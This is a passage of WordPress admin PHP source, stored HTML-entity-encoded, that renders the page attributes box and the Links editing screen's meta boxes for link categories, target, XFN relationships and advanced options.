		 * @param string $label   The display value for the default page template title.
		 * @param string $context Where the option label is displayed. Possible values
		 *                        include &#039;meta-box&#039; or &#039;quick-edit&#039;.
		 */
		$default_title = apply_filters( &#039;default_page_template_title&#039;, __( &#039;Default template&#039; ), &#039;meta-box&#039; );
		?&gt;
&lt;option value=&quot;default&quot;&gt;&lt;?php echo esc_html( $default_title ); ?&gt;&lt;/option&gt;
		&lt;?php page_template_dropdown( $template, $post-&gt;post_type ); ?&gt;
&lt;/select&gt;
&lt;?php endif; ?&gt;
	&lt;?php if ( post_type_supports( $post-&gt;post_type, &#039;page-attributes&#039; ) ) : ?&gt;
&lt;p class=&quot;post-attributes-label-wrapper menu-order-label-wrapper&quot;&gt;&lt;label class=&quot;post-attributes-label&quot; for=&quot;menu_order&quot;&gt;&lt;?php _e( &#039;Order&#039; ); ?&gt;&lt;/label&gt;&lt;/p&gt;
&lt;input name=&quot;menu_order&quot; type=&quot;text&quot; size=&quot;4&quot; id=&quot;menu_order&quot; value=&quot;&lt;?php echo esc_attr( $post-&gt;menu_order ); ?&gt;&quot; /&gt;
		&lt;?php
		/**
		 * Fires before the help hint text in the &#039;Page Attributes&#039; meta box.
		 *
		 * @since 4.9.0
		 *
		 * @param WP_Post $post The current post.
		 */
		do_action( &#039;page_attributes_misc_attributes&#039;, $post );
		?&gt;
		&lt;?php if ( &#039;page&#039; === $post-&gt;post_type &amp;&amp; get_current_screen()-&gt;get_help_tabs() ) : ?&gt;
&lt;p class=&quot;post-attributes-help-text&quot;&gt;&lt;?php _e( &#039;Need help? Use the Help tab above the screen title.&#039; ); ?&gt;&lt;/p&gt;
			&lt;?php
	endif;
	endif;
}

//
// Link-related Meta Boxes.
//

/**
 * Displays link create form fields.
 *
 * @since 2.7.0
 *
 * @param object $link Current link object.
 */
function link_submit_meta_box( $link ) {
	?&gt;
&lt;div class=&quot;submitbox&quot; id=&quot;submitlink&quot;&gt;

&lt;div id=&quot;minor-publishing&quot;&gt;

	&lt;?php // Hidden submit button early on so that the browser chooses the right button when form is submitted with Return key. ?&gt;
&lt;div style=&quot;display:none;&quot;&gt;
	&lt;?php submit_button( __( &#039;Save&#039; ), &#039;&#039;, &#039;save&#039;, false ); ?&gt;
&lt;/div&gt;

&lt;div id=&quot;minor-publishing-actions&quot;&gt;
&lt;div id=&quot;preview-action&quot;&gt;
	&lt;?php if ( ! empty( $link-&gt;link_id ) ) { ?&gt;
	&lt;a class=&quot;preview button&quot; href=&quot;&lt;?php echo $link-&gt;link_url; ?&gt;&quot; target=&quot;_blank&quot;&gt;&lt;?php _e( &#039;Visit Link&#039; ); ?&gt;&lt;/a&gt;
&lt;?php } ?&gt;
&lt;/div&gt;
&lt;div class=&quot;clear&quot;&gt;&lt;/div&gt;
&lt;/div&gt;

&lt;div id=&quot;misc-publishing-actions&quot;&gt;
&lt;div class=&quot;misc-pub-section misc-pub-private&quot;&gt;
	&lt;label for=&quot;link_private&quot; class=&quot;selectit&quot;&gt;&lt;input id=&quot;link_private&quot; name=&quot;link_visible&quot; type=&quot;checkbox&quot; value=&quot;N&quot; &lt;?php checked( $link-&gt;link_visible, &#039;N&#039; ); ?&gt; /&gt; &lt;?php _e( &#039;Keep this link private&#039; ); ?&gt;&lt;/label&gt;
&lt;/div&gt;
&lt;/div&gt;

&lt;/div&gt;

&lt;div id=&quot;major-publishing-actions&quot;&gt;
	&lt;?php
	/** This action is documented in wp-admin/includes/meta-boxes.php */
	do_action( &#039;post_submitbox_start&#039;, null );
	?&gt;
&lt;div id=&quot;delete-action&quot;&gt;
	&lt;?php
	if ( ! empty( $_GET[&#039;action&#039;] ) &amp;&amp; &#039;edit&#039; === $_GET[&#039;action&#039;] &amp;&amp; current_user_can( &#039;manage_links&#039; ) ) {
		printf(
			&#039;&lt;a class=&quot;submitdelete deletion&quot; href=&quot;%s&quot; onclick=&quot;return confirm( \&#039;%s\&#039; );&quot;&gt;%s&lt;/a&gt;&#039;,
			wp_nonce_url( &quot;link.php?action=delete&amp;amp;link_id=$link-&gt;link_id&quot;, &#039;delete-bookmark_&#039; . $link-&gt;link_id ),
			/* translators: %s: Link name. */
			esc_js( sprintf( __( &quot;You are about to delete this link &#039;%s&#039;\n  &#039;Cancel&#039; to stop, &#039;OK&#039; to delete.&quot; ), $link-&gt;link_name ) ),
			__( &#039;Delete&#039; )
		);
	}
	?&gt;
&lt;/div&gt;

&lt;div id=&quot;publishing-action&quot;&gt;
	&lt;?php if ( ! empty( $link-&gt;link_id ) ) { ?&gt;
	&lt;input name=&quot;save&quot; type=&quot;submit&quot; class=&quot;button button-primary button-large&quot; id=&quot;publish&quot; value=&quot;&lt;?php esc_attr_e( &#039;Update Link&#039; ); ?&gt;&quot; /&gt;
&lt;?php } else { ?&gt;
	&lt;input name=&quot;save&quot; type=&quot;submit&quot; class=&quot;button button-primary button-large&quot; id=&quot;publish&quot; value=&quot;&lt;?php esc_attr_e( &#039;Add Link&#039; ); ?&gt;&quot; /&gt;
&lt;?php } ?&gt;
&lt;/div&gt;
&lt;div class=&quot;clear&quot;&gt;&lt;/div&gt;
&lt;/div&gt;
	&lt;?php
	/**
	 * Fires at the end of the Publish box in the Link editing screen.
	 *
	 * @since 2.5.0
	 */
	do_action( &#039;submitlink_box&#039; );
	?&gt;
&lt;div class=&quot;clear&quot;&gt;&lt;/div&gt;
&lt;/div&gt;
	&lt;?php
}

/**
 * Displays link categories form fields.
 *
 * @since 2.6.0
 *
 * @param object $link Current link object.
 */
function link_categories_meta_box( $link ) {
	?&gt;
&lt;div id=&quot;taxonomy-linkcategory&quot; class=&quot;categorydiv&quot;&gt;
	&lt;ul id=&quot;category-tabs&quot; class=&quot;category-tabs&quot;&gt;
		&lt;li class=&quot;tabs&quot;&gt;&lt;a href=&quot;#categories-all&quot;&gt;&lt;?php _e( &#039;All categories&#039; ); ?&gt;&lt;/a&gt;&lt;/li&gt;
		&lt;li class=&quot;hide-if-no-js&quot;&gt;&lt;a href=&quot;#categories-pop&quot;&gt;&lt;?php _ex( &#039;Most Used&#039;, &#039;categories&#039; ); ?&gt;&lt;/a&gt;&lt;/li&gt;
	&lt;/ul&gt;

	&lt;div id=&quot;categories-all&quot; class=&quot;tabs-panel&quot;&gt;
		&lt;ul id=&quot;categorychecklist&quot; data-wp-lists=&quot;list:category&quot; class=&quot;categorychecklist form-no-clear&quot;&gt;
			&lt;?php
			if ( isset( $link-&gt;link_id ) ) {
				wp_link_category_checklist( $link-&gt;link_id );
			} else {
				wp_link_category_checklist();
			}
			?&gt;
		&lt;/ul&gt;
	&lt;/div&gt;

	&lt;div id=&quot;categories-pop&quot; class=&quot;tabs-panel&quot; style=&quot;display: none;&quot;&gt;
		&lt;ul id=&quot;categorychecklist-pop&quot; class=&quot;categorychecklist form-no-clear&quot;&gt;
			&lt;?php wp_popular_terms_checklist( &#039;link_category&#039; ); ?&gt;
		&lt;/ul&gt;
	&lt;/div&gt;

	&lt;div id=&quot;category-adder&quot; class=&quot;wp-hidden-children&quot;&gt;
		&lt;a id=&quot;category-add-toggle&quot; href=&quot;#category-add&quot; class=&quot;taxonomy-add-new&quot;&gt;&lt;?php _e( &#039;+ Add Category&#039; ); ?&gt;&lt;/a&gt;
		&lt;p id=&quot;link-category-add&quot; class=&quot;wp-hidden-child&quot;&gt;
			&lt;label class=&quot;screen-reader-text&quot; for=&quot;newcat&quot;&gt;
				&lt;?php
				/* translators: Hidden accessibility text. */
				_e( &#039;+ Add Category&#039; );
				?&gt;
			&lt;/label&gt;
			&lt;input type=&quot;text&quot; name=&quot;newcat&quot; id=&quot;newcat&quot; class=&quot;form-required form-input-tip&quot; value=&quot;&lt;?php esc_attr_e( &#039;New category name&#039; ); ?&gt;&quot; aria-required=&quot;true&quot; /&gt;
			&lt;input type=&quot;button&quot; id=&quot;link-category-add-submit&quot; data-wp-lists=&quot;add:categorychecklist:link-category-add&quot; class=&quot;button&quot; value=&quot;&lt;?php esc_attr_e( &#039;Add&#039; ); ?&gt;&quot; /&gt;
			&lt;?php wp_nonce_field( &#039;add-link-category&#039;, &#039;_ajax_nonce&#039;, false ); ?&gt;
			&lt;span id=&quot;category-ajax-response&quot;&gt;&lt;/span&gt;
		&lt;/p&gt;
	&lt;/div&gt;
&lt;/div&gt;
	&lt;?php
}

/**
 * Displays form fields for changing link target.
 *
 * @since 2.6.0
 *
 * @param object $link Current link object.
 */
function link_target_meta_box( $link ) {

	?&gt;
&lt;fieldset&gt;&lt;legend class=&quot;screen-reader-text&quot;&gt;&lt;span&gt;
	&lt;?php
	/* translators: Hidden accessibility text. */
	_e( &#039;Target&#039; );
	?&gt;
&lt;/span&gt;&lt;/legend&gt;
&lt;p&gt;&lt;label for=&quot;link_target_blank&quot; class=&quot;selectit&quot;&gt;
&lt;input id=&quot;link_target_blank&quot; type=&quot;radio&quot; name=&quot;link_target&quot; value=&quot;_blank&quot; &lt;?php echo ( isset( $link-&gt;link_target ) &amp;&amp; ( &#039;_blank&#039; === $link-&gt;link_target ) ? &#039;checked=&quot;checked&quot;&#039; : &#039;&#039; ); ?&gt; /&gt;
	&lt;?php _e( &#039;&lt;code&gt;_blank&lt;/code&gt; &amp;mdash; new window or tab.&#039; ); ?&gt;&lt;/label&gt;&lt;/p&gt;
&lt;p&gt;&lt;label for=&quot;link_target_top&quot; class=&quot;selectit&quot;&gt;
&lt;input id=&quot;link_target_top&quot; type=&quot;radio&quot; name=&quot;link_target&quot; value=&quot;_top&quot; &lt;?php echo ( isset( $link-&gt;link_target ) &amp;&amp; ( &#039;_top&#039; === $link-&gt;link_target ) ? &#039;checked=&quot;checked&quot;&#039; : &#039;&#039; ); ?&gt; /&gt;
	&lt;?php _e( &#039;&lt;code&gt;_top&lt;/code&gt; &amp;mdash; current window or tab, with no frames.&#039; ); ?&gt;&lt;/label&gt;&lt;/p&gt;
&lt;p&gt;&lt;label for=&quot;link_target_none&quot; class=&quot;selectit&quot;&gt;
&lt;input id=&quot;link_target_none&quot; type=&quot;radio&quot; name=&quot;link_target&quot; value=&quot;&quot; &lt;?php echo ( isset( $link-&gt;link_target ) &amp;&amp; ( &#039;&#039; === $link-&gt;link_target ) ? &#039;checked=&quot;checked&quot;&#039; : &#039;&#039; ); ?&gt; /&gt;
	&lt;?php _e( &#039;&lt;code&gt;_none&lt;/code&gt; &amp;mdash; same window or tab.&#039; ); ?&gt;&lt;/label&gt;&lt;/p&gt;
&lt;/fieldset&gt;
&lt;p&gt;&lt;?php _e( &#039;Choose the target frame for your link.&#039; ); ?&gt;&lt;/p&gt;
	&lt;?php
}

/**
 * Displays &#039;checked&#039; checkboxes attribute for XFN microformat options.
 *
 * @since 1.0.1
 *
 * @global object $link Current link object.
 *
 * @param string $xfn_relationship XFN relationship category. Possible values are:
 *                                 &#039;friendship&#039;, &#039;physical&#039;, &#039;professional&#039;,
 *                                 &#039;geographical&#039;, &#039;family&#039;, &#039;romantic&#039;, &#039;identity&#039;.
 * @param string $xfn_value        Optional. The XFN value to mark as checked
 *                                 if it matches the current link&#039;s relationship.
 *                                 Default empty string.
 * @param mixed  $deprecated       Deprecated. Not used.
 */
function xfn_check( $xfn_relationship, $xfn_value = &#039;&#039;, $deprecated = &#039;&#039; ) {
	global $link;

	if ( ! empty( $deprecated ) ) {
		_deprecated_argument( __FUNCTION__, &#039;2.5.0&#039; ); // Never implemented.
	}

	$link_rel  = isset( $link-&gt;link_rel ) ? $link-&gt;link_rel : &#039;&#039;;
	$link_rels = preg_split( &#039;/\s+/&#039;, $link_rel );

	// Mark the specified value as checked if it matches the current link&#039;s relationship.
	if ( &#039;&#039; !== $xfn_value &amp;&amp; in_array( $xfn_value, $link_rels, true ) ) {
		echo &#039; checked=&quot;checked&quot;&#039;;
	}

	if ( &#039;&#039; === $xfn_value ) {
		// Mark the &#039;none&#039; value as checked if the current link does not match the specified relationship.
		if ( &#039;family&#039; === $xfn_relationship
			&amp;&amp; ! array_intersect( $link_rels, array( &#039;child&#039;, &#039;parent&#039;, &#039;sibling&#039;, &#039;spouse&#039;, &#039;kin&#039; ) )
		) {
			echo &#039; checked=&quot;checked&quot;&#039;;
		}

		if ( &#039;friendship&#039; === $xfn_relationship
			&amp;&amp; ! array_intersect( $link_rels, array( &#039;friend&#039;, &#039;acquaintance&#039;, &#039;contact&#039; ) )
		) {
			echo &#039; checked=&quot;checked&quot;&#039;;
		}

		if ( &#039;geographical&#039; === $xfn_relationship
			&amp;&amp; ! array_intersect( $link_rels, array( &#039;co-resident&#039;, &#039;neighbor&#039; ) )
		) {
			echo &#039; checked=&quot;checked&quot;&#039;;
		}

		// Mark the &#039;me&#039; value as checked if it matches the current link&#039;s relationship.
		if ( &#039;identity&#039; === $xfn_relationship
			&amp;&amp; in_array( &#039;me&#039;, $link_rels, true )
		) {
			echo &#039; checked=&quot;checked&quot;&#039;;
		}
	}
}

/**
 * Displays XFN form fields.
 *
 * @since 2.6.0
 *
 * @param object $link Current link object.
 */
function link_xfn_meta_box( $link ) {
	?&gt;
&lt;table class=&quot;links-table&quot;&gt;
	&lt;tr&gt;
		&lt;th scope=&quot;row&quot;&gt;&lt;label for=&quot;link_rel&quot;&gt;&lt;?php /* translators: xfn: https://gmpg.org/xfn/ */ _e( &#039;rel:&#039; ); ?&gt;&lt;/label&gt;&lt;/th&gt;
		&lt;td&gt;&lt;input type=&quot;text&quot; name=&quot;link_rel&quot; id=&quot;link_rel&quot; value=&quot;&lt;?php echo ( isset( $link-&gt;link_rel ) ? esc_attr( $link-&gt;link_rel ) : &#039;&#039; ); ?&gt;&quot; /&gt;&lt;/td&gt;
	&lt;/tr&gt;
	&lt;tr&gt;
		&lt;th scope=&quot;row&quot;&gt;&lt;?php /* translators: xfn: https://gmpg.org/xfn/ */ _e( &#039;identity&#039; ); ?&gt;&lt;/th&gt;
		&lt;td&gt;&lt;fieldset&gt;
			&lt;legend class=&quot;screen-reader-text&quot;&gt;&lt;span&gt;
				&lt;?php
				/* translators: Hidden accessibility text. xfn: https://gmpg.org/xfn/ */
				_e( &#039;identity&#039; );
				?&gt;
			&lt;/span&gt;&lt;/legend&gt;
			&lt;label for=&quot;me&quot;&gt;
			&lt;input type=&quot;checkbox&quot; name=&quot;identity&quot; value=&quot;me&quot; id=&quot;me&quot; &lt;?php xfn_check( &#039;identity&#039;, &#039;me&#039; ); ?&gt; /&gt;
			&lt;?php _e( &#039;another web address of mine&#039; ); ?&gt;&lt;/label&gt;
		&lt;/fieldset&gt;&lt;/td&gt;
	&lt;/tr&gt;
	&lt;tr&gt;
		&lt;th scope=&quot;row&quot;&gt;&lt;?php /* translators: xfn: https://gmpg.org/xfn/ */ _e( &#039;friendship&#039; ); ?&gt;&lt;/th&gt;
		&lt;td&gt;&lt;fieldset&gt;
			&lt;legend class=&quot;screen-reader-text&quot;&gt;&lt;span&gt;
				&lt;?php
				/* translators: Hidden accessibility text. xfn: https://gmpg.org/xfn/ */
				_e( &#039;friendship&#039; );
				?&gt;
			&lt;/span&gt;&lt;/legend&gt;
			&lt;label for=&quot;contact&quot;&gt;
			&lt;input class=&quot;valinp&quot; type=&quot;radio&quot; name=&quot;friendship&quot; value=&quot;contact&quot; id=&quot;contact&quot; &lt;?php xfn_check( &#039;friendship&#039;, &#039;contact&#039; ); ?&gt; /&gt;&amp;nbsp;&lt;?php /* translators: xfn: https://gmpg.org/xfn/ */ _e( &#039;contact&#039; ); ?&gt;
			&lt;/label&gt;
			&lt;label for=&quot;acquaintance&quot;&gt;
			&lt;input class=&quot;valinp&quot; type=&quot;radio&quot; name=&quot;friendship&quot; value=&quot;acquaintance&quot; id=&quot;acquaintance&quot; &lt;?php xfn_check( &#039;friendship&#039;, &#039;acquaintance&#039; ); ?&gt; /&gt;&amp;nbsp;&lt;?php /* translators: xfn: https://gmpg.org/xfn/ */ _e( &#039;acquaintance&#039; ); ?&gt;
			&lt;/label&gt;
			&lt;label for=&quot;friend&quot;&gt;
			&lt;input class=&quot;valinp&quot; type=&quot;radio&quot; name=&quot;friendship&quot; value=&quot;friend&quot; id=&quot;friend&quot; &lt;?php xfn_check( &#039;friendship&#039;, &#039;friend&#039; ); ?&gt; /&gt;&amp;nbsp;&lt;?php /* translators: xfn: https://gmpg.org/xfn/ */ _e( &#039;friend&#039; ); ?&gt;
			&lt;/label&gt;
			&lt;label for=&quot;friendship&quot;&gt;
			&lt;input name=&quot;friendship&quot; type=&quot;radio&quot; class=&quot;valinp&quot; value=&quot;&quot; id=&quot;friendship&quot; &lt;?php xfn_check( &#039;friendship&#039; ); ?&gt; /&gt;&amp;nbsp;&lt;?php /* translators: xfn (friendship relation): http://gmpg.org/xfn/ */ _ex( &#039;none&#039;, &#039;Type of relation&#039; ); ?&gt;
			&lt;/label&gt;
		&lt;/fieldset&gt;&lt;/td&gt;
	&lt;/tr&gt;
	&lt;tr&gt;
		&lt;th scope=&quot;row&quot;&gt; &lt;?php /* translators: xfn: https://gmpg.org/xfn/ */ _e( &#039;physical&#039; ); ?&gt; &lt;/th&gt;
		&lt;td&gt;&lt;fieldset&gt;
			&lt;legend class=&quot;screen-reader-text&quot;&gt;&lt;span&gt;
				&lt;?php
				/* translators: Hidden accessibility text. xfn: https://gmpg.org/xfn/ */
				_e( &#039;physical&#039; );
				?&gt;
			&lt;/span&gt;&lt;/legend&gt;
			&lt;label for=&quot;met&quot;&gt;
			&lt;input class=&quot;valinp&quot; type=&quot;checkbox&quot; name=&quot;physical&quot; value=&quot;met&quot; id=&quot;met&quot; &lt;?php xfn_check( &#039;physical&#039;, &#039;met&#039; ); ?&gt; /&gt;&amp;nbsp;&lt;?php /* translators: xfn: https://gmpg.org/xfn/ */ _e( &#039;met&#039; ); ?&gt;
			&lt;/label&gt;
		&lt;/fieldset&gt;&lt;/td&gt;
	&lt;/tr&gt;
	&lt;tr&gt;
		&lt;th scope=&quot;row&quot;&gt; &lt;?php /* translators: xfn: https://gmpg.org/xfn/ */ _e( &#039;professional&#039; ); ?&gt; &lt;/th&gt;
		&lt;td&gt;&lt;fieldset&gt;
			&lt;legend class=&quot;screen-reader-text&quot;&gt;&lt;span&gt;
				&lt;?php
				/* translators: Hidden accessibility text. xfn: https://gmpg.org/xfn/ */
				_e( &#039;professional&#039; );
				?&gt;
			&lt;/span&gt;&lt;/legend&gt;
			&lt;label for=&quot;co-worker&quot;&gt;
			&lt;input class=&quot;valinp&quot; type=&quot;checkbox&quot; name=&quot;professional&quot; value=&quot;co-worker&quot; id=&quot;co-worker&quot; &lt;?php xfn_check( &#039;professional&#039;, &#039;co-worker&#039; ); ?&gt; /&gt;&amp;nbsp;&lt;?php /* translators: xfn: https://gmpg.org/xfn/ */ _e( &#039;co-worker&#039; ); ?&gt;
			&lt;/label&gt;
			&lt;label for=&quot;colleague&quot;&gt;
			&lt;input class=&quot;valinp&quot; type=&quot;checkbox&quot; name=&quot;professional&quot; value=&quot;colleague&quot; id=&quot;colleague&quot; &lt;?php xfn_check( &#039;professional&#039;, &#039;colleague&#039; ); ?&gt; /&gt;&amp;nbsp;&lt;?php /* translators: xfn: https://gmpg.org/xfn/ */ _e( &#039;colleague&#039; ); ?&gt;
			&lt;/label&gt;
		&lt;/fieldset&gt;&lt;/td&gt;
	&lt;/tr&gt;
	&lt;tr&gt;
		&lt;th scope=&quot;row&quot;&gt;&lt;?php /* translators: xfn: https://gmpg.org/xfn/ */ _e( &#039;geographical&#039; ); ?&gt;&lt;/th&gt;
		&lt;td&gt;&lt;fieldset&gt;
			&lt;legend class=&quot;screen-reader-text&quot;&gt;&lt;span&gt;
				&lt;?php
				/* translators: Hidden accessibility text. xfn: https://gmpg.org/xfn/ */
				_e( &#039;geographical&#039; );
				?&gt;
			&lt;/span&gt;&lt;/legend&gt;
			&lt;label for=&quot;co-resident&quot;&gt;
			&lt;input class=&quot;valinp&quot; type=&quot;radio&quot; name=&quot;geographical&quot; value=&quot;co-resident&quot; id=&quot;co-resident&quot; &lt;?php xfn_check( &#039;geographical&#039;, &#039;co-resident&#039; ); ?&gt; /&gt;&amp;nbsp;&lt;?php /* translators: xfn: https://gmpg.org/xfn/ */ _e( &#039;co-resident&#039; ); ?&gt;
			&lt;/label&gt;
			&lt;label for=&quot;neighbor&quot;&gt;
			&lt;input class=&quot;valinp&quot; type=&quot;radio&quot; name=&quot;geographical&quot; value=&quot;neighbor&quot; id=&quot;neighbor&quot; &lt;?php xfn_check( &#039;geographical&#039;, &#039;neighbor&#039; ); ?&gt; /&gt;&amp;nbsp;&lt;?php /* translators: xfn: https://gmpg.org/xfn/ */ _e( &#039;neighbor&#039; ); ?&gt;
			&lt;/label&gt;
			&lt;label for=&quot;geographical&quot;&gt;
			&lt;input class=&quot;valinp&quot; type=&quot;radio&quot; name=&quot;geographical&quot; value=&quot;&quot; id=&quot;geographical&quot; &lt;?php xfn_check( &#039;geographical&#039; ); ?&gt; /&gt;&amp;nbsp;&lt;?php /* translators: xfn (geographical relation): http://gmpg.org/xfn/ */ _ex( &#039;none&#039;, &#039;Type of relation&#039; ); ?&gt;
			&lt;/label&gt;
		&lt;/fieldset&gt;&lt;/td&gt;
	&lt;/tr&gt;
	&lt;tr&gt;
		&lt;th scope=&quot;row&quot;&gt;&lt;?php /* translators: xfn: https://gmpg.org/xfn/ */ _e( &#039;family&#039; ); ?&gt;&lt;/th&gt;
		&lt;td&gt;&lt;fieldset&gt;
			&lt;legend class=&quot;screen-reader-text&quot;&gt;&lt;span&gt;
				&lt;?php
				/* translators: Hidden accessibility text. xfn: https://gmpg.org/xfn/ */
				_e( &#039;family&#039; );
				?&gt;
			&lt;/span&gt;&lt;/legend&gt;
			&lt;label for=&quot;child&quot;&gt;
			&lt;input class=&quot;valinp&quot; type=&quot;radio&quot; name=&quot;family&quot; value=&quot;child&quot; id=&quot;child&quot; &lt;?php xfn_check( &#039;family&#039;, &#039;child&#039; ); ?&gt; /&gt;&amp;nbsp;&lt;?php /* translators: xfn: https://gmpg.org/xfn/ */ _e( &#039;child&#039; ); ?&gt;
			&lt;/label&gt;
			&lt;label for=&quot;kin&quot;&gt;
			&lt;input class=&quot;valinp&quot; type=&quot;radio&quot; name=&quot;family&quot; value=&quot;kin&quot; id=&quot;kin&quot; &lt;?php xfn_check( &#039;family&#039;, &#039;kin&#039; ); ?&gt; /&gt;&amp;nbsp;&lt;?php /* translators: xfn: https://gmpg.org/xfn/ */ _e( &#039;kin&#039; ); ?&gt;
			&lt;/label&gt;
			&lt;label for=&quot;parent&quot;&gt;
			&lt;input class=&quot;valinp&quot; type=&quot;radio&quot; name=&quot;family&quot; value=&quot;parent&quot; id=&quot;parent&quot; &lt;?php xfn_check( &#039;family&#039;, &#039;parent&#039; ); ?&gt; /&gt;&amp;nbsp;&lt;?php /* translators: xfn: https://gmpg.org/xfn/ */ _e( &#039;parent&#039; ); ?&gt;
			&lt;/label&gt;
			&lt;label for=&quot;sibling&quot;&gt;
			&lt;input class=&quot;valinp&quot; type=&quot;radio&quot; name=&quot;family&quot; value=&quot;sibling&quot; id=&quot;sibling&quot; &lt;?php xfn_check( &#039;family&#039;, &#039;sibling&#039; ); ?&gt; /&gt;&amp;nbsp;&lt;?php /* translators: xfn: https://gmpg.org/xfn/ */ _e( &#039;sibling&#039; ); ?&gt;
			&lt;/label&gt;
			&lt;label for=&quot;spouse&quot;&gt;
			&lt;input class=&quot;valinp&quot; type=&quot;radio&quot; name=&quot;family&quot; value=&quot;spouse&quot; id=&quot;spouse&quot; &lt;?php xfn_check( &#039;family&#039;, &#039;spouse&#039; ); ?&gt; /&gt;&amp;nbsp;&lt;?php /* translators: xfn: https://gmpg.org/xfn/ */ _e( &#039;spouse&#039; ); ?&gt;
			&lt;/label&gt;
			&lt;label for=&quot;family&quot;&gt;
			&lt;input class=&quot;valinp&quot; type=&quot;radio&quot; name=&quot;family&quot; value=&quot;&quot; id=&quot;family&quot; &lt;?php xfn_check( &#039;family&#039; ); ?&gt; /&gt;&amp;nbsp;&lt;?php /* translators: xfn (family relation): http://gmpg.org/xfn/ */ _ex( &#039;none&#039;, &#039;Type of relation&#039; ); ?&gt;
			&lt;/label&gt;
		&lt;/fieldset&gt;&lt;/td&gt;
	&lt;/tr&gt;
	&lt;tr&gt;
		&lt;th scope=&quot;row&quot;&gt;&lt;?php /* translators: xfn: https://gmpg.org/xfn/ */ _e( &#039;romantic&#039; ); ?&gt;&lt;/th&gt;
		&lt;td&gt;&lt;fieldset&gt;
			&lt;legend class=&quot;screen-reader-text&quot;&gt;&lt;span&gt;
				&lt;?php
				/* translators: Hidden accessibility text. xfn: https://gmpg.org/xfn/ */
				_e( &#039;romantic&#039; );
				?&gt;
			&lt;/span&gt;&lt;/legend&gt;
			&lt;label for=&quot;muse&quot;&gt;
			&lt;input class=&quot;valinp&quot; type=&quot;checkbox&quot; name=&quot;romantic&quot; value=&quot;muse&quot; id=&quot;muse&quot; &lt;?php xfn_check( &#039;romantic&#039;, &#039;muse&#039; ); ?&gt; /&gt;&amp;nbsp;&lt;?php /* translators: xfn: https://gmpg.org/xfn/ */ _e( &#039;muse&#039; ); ?&gt;
			&lt;/label&gt;
			&lt;label for=&quot;crush&quot;&gt;
			&lt;input class=&quot;valinp&quot; type=&quot;checkbox&quot; name=&quot;romantic&quot; value=&quot;crush&quot; id=&quot;crush&quot; &lt;?php xfn_check( &#039;romantic&#039;, &#039;crush&#039; ); ?&gt; /&gt;&amp;nbsp;&lt;?php /* translators: xfn: https://gmpg.org/xfn/ */ _e( &#039;crush&#039; ); ?&gt;
			&lt;/label&gt;
			&lt;label for=&quot;date&quot;&gt;
			&lt;input class=&quot;valinp&quot; type=&quot;checkbox&quot; name=&quot;romantic&quot; value=&quot;date&quot; id=&quot;date&quot; &lt;?php xfn_check( &#039;romantic&#039;, &#039;date&#039; ); ?&gt; /&gt;&amp;nbsp;&lt;?php /* translators: xfn: https://gmpg.org/xfn/ */ _e( &#039;date&#039; ); ?&gt;
			&lt;/label&gt;
			&lt;label for=&quot;romantic&quot;&gt;
			&lt;input class=&quot;valinp&quot; type=&quot;checkbox&quot; name=&quot;romantic&quot; value=&quot;sweetheart&quot; id=&quot;romantic&quot; &lt;?php xfn_check( &#039;romantic&#039;, &#039;sweetheart&#039; ); ?&gt; /&gt;&amp;nbsp;&lt;?php /* translators: xfn: https://gmpg.org/xfn/ */ _e( &#039;sweetheart&#039; ); ?&gt;
			&lt;/label&gt;
		&lt;/fieldset&gt;&lt;/td&gt;
	&lt;/tr&gt;

&lt;/table&gt;
&lt;p&gt;&lt;?php _e( &#039;If the link is to a person, you can specify your relationship with them using the above form. If you would like to learn more about the idea check out &lt;a href=&quot;https://gmpg.org/xfn/&quot;&gt;XFN&lt;/a&gt;.&#039; ); ?&gt;&lt;/p&gt;
	&lt;?php
}

/**
 * Displays advanced link options form fields.
 *
 * @since 2.6.0
 *
 * @param object $link Current link object.
 */
function link_advanced_meta_box( $link ) {
	?&gt;
&lt;table class=&quot;links-table&quot; cellpadding=&quot;0&quot;&gt;
	&lt;tr&gt;
		&lt;th scope=&quot;row&quot;&gt;&lt;label for=&quot;link_image&quot;&gt;&lt;?php _e( &#039;Image Address&#039; ); ?&gt;&lt;/label&gt;&lt;/th&gt;
		&lt;td&gt;&lt;input type=&quot;text&quot; name=&quot;link_image&quot; class=&quot;code&quot; id=&quot;link_image&quot; maxlength=&quot;255&quot; value=&quot;&lt;?php echo ( isset( $link-&gt;link_image ) ? esc_attr( $link-&gt;link_image ) : &#039;&#039; ); ?&gt;&quot; /&gt;&lt;/td&gt;
	&lt;/tr&gt;
	&lt;tr&gt;
		&lt;th scope=&quot;row&quot;&gt;&lt;label for=&quot;rss_uri&quot;&gt;&lt;?php _e( &#039;RSS Address&#039; ); ?&gt;&lt;/label&gt;&lt;/th&gt;
		&lt;td&gt;&lt;input name=&quot;link_rss&quot; class=&quot;code&quot; type=&quot;text&quot; id=&quot;rss_uri&quot; maxlength=&quot;255&quot; value=&quot;&lt;?php echo ( isset( $link-&gt;link_rss ) ? esc_attr( $link-&gt;link_rss ) : &#039;&#039; ); ?&gt;&quot; /&gt;&lt;/td&gt;
	&lt;/tr&gt;
	&lt;tr&gt;
		&lt;th scope=&quot;row&quot;&gt;&lt;label for=&quot;link_notes&quot;&gt;&lt;?php _e( &#039;Notes&#039; ); ?&gt;&lt;/label&gt;&lt;/th&gt;
		&lt;td&gt;&lt;textarea name=&quot;link_notes&quot; id=&quot;link_notes&quot; rows=&quot;10&quot;&gt;&lt;?php echo ( isset( $link-&gt;link_notes ) ? $link-&gt;link_notes : &#039;&#039; ); // textarea_escaped ?&gt;&lt;/textarea&gt;&lt;/td&gt;
	&lt;/tr&gt;
	&lt;tr&gt;
		&lt;th scope=&quot;row&quot;&gt;&lt;label for=&quot;link_rating&quot;&gt;&lt;?php _e( &#039;Rating&#039; ); ?&gt;&lt;/label&gt;&lt;/th&gt;
		&lt;td&gt;&lt;select name=&quot;link_rating&quot; id=&quot;link_rating&quot; size=&quot;1&quot;&gt;
		&lt;?php
		for ( $rating = 0; $rating &lt;= 10; $rating++ ) {
			echo &#039;&lt;option value=&quot;&#039; . $rating . &#039;&quot;&#039;;
			if ( isset( $link-&gt;link_rating ) &amp;&amp; $link-&gt;link_rating === $rating ) {
				echo &#039; selected=&quot;selected&quot;&#039;;
			}
			echo &#039;&gt;&#039; . $rating . &#039;&lt;/option&gt;&#039;;
		}
		?&gt;
		&lt;/select&gt;&amp;nbsp;&lt;?php _e( &#039;(Leave at 0 for no rating.)&#039; ); ?&gt;
		&lt;/td&gt;
	&lt;/tr&gt;
&lt;/table&gt;
	&lt;?php
}

/**
 * Displays post thumbnail meta box.
 *
 * @since 2.9.0
 *
 * @param WP_Post $post Current post object.
 */
function post_thumbnail_meta_box( $post ) {
